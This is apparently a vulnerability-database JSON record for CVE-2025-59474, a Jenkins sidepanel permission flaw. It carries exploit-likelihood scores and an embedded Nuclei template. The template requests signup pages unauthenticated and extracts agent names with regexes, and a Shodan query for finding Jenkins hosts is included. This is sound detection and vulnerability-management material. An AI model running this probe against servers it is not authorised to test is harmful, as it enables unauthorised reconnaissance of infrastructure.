{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2025-59474/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2025-59474/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2025-59474/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2025-59474/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2025-59474/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2025-59474"},"sightings":{"href":"/api/v1/sightings/cve-2025-59474"}},"enrichments":{"cisa-kev":{"kev":false},"epss":{"epss":0.04908,"kev":false,"percentile":0.91771},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2025/CVE-2025-59474.yaml","nuclei_template_severity":"medium","nuclei_template_yaml":"id: CVE-2025-59474\n\ninfo:\n  name: Jenkins Sidepanel - Unauthorized Agent/Queue Exposure\n  author: ivaldivieso\n  severity: medium\n  description: |\n    Jenkins 2.527 and earlier, LTS 2.516.2 and earlier does not perform a permission check in the sidepanel of a page intentionally accessible to users lacking Overall/Read permission, allowing attackers without Overall/Read permission to list agent names through its sidepanel executors widget.\n  impact: Attackers can list agent names without required permissions, potentially exposing sensitive infrastructure details.\n  remediation: Update to a version later than 2.527 or LTS later than 2.516.2.\n  reference:\n    - https://www.jenkins.io/security/advisory/2025-09-17/\n    - https://nvd.nist.gov/vuln/detail/CVE-2025-59474\n    - https://medium.com/@Th3hound/exposing-jenkins-agents-without-auth-research-on-cve-2025-59474-ff95a2e7d22a\n  metadata:\n    verified: true\n    max-request: 2\n    shodan-query: product:\"jenkins\"\n  tags: cve,cve2025,jenkins,sidepanel,unauth,vkev,vuln\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/securityRealm/signup\"\n      - \"{{BaseURL}}/jenkins/securityRealm/signup\"\n\n    stop-at-first-match: true\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - 'Build Executor Status'\n          - 'Estado del ejecutor'\n          - 'id=\"executors\"'\n        condition: or\n\n      - type: regex\n        part: body\n        regex:\n          - 'href=\"[^\"]*/computer/[^\"]*/?\"'\n\n    extractors:\n      - type: regex\n        name: agents\n        part: body\n        group: 1\n        regex:\n          - 'href=\"[^\"]*/computer/([^\"/]+)/?\"'\n        internal: true\n\n      - type: dsl\n        dsl:\n          - 'urldecode(agents)'\n# digest: 4a0a0047304502206c0c2b8d5f43427d574175ba0732aa2d631e691aff951a69fcbe015639534ef3022100865d934dc1e61af850f5bcab8a8b4d625ba71c87cf5ec28610a66bbfee8435be:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2025-59474"}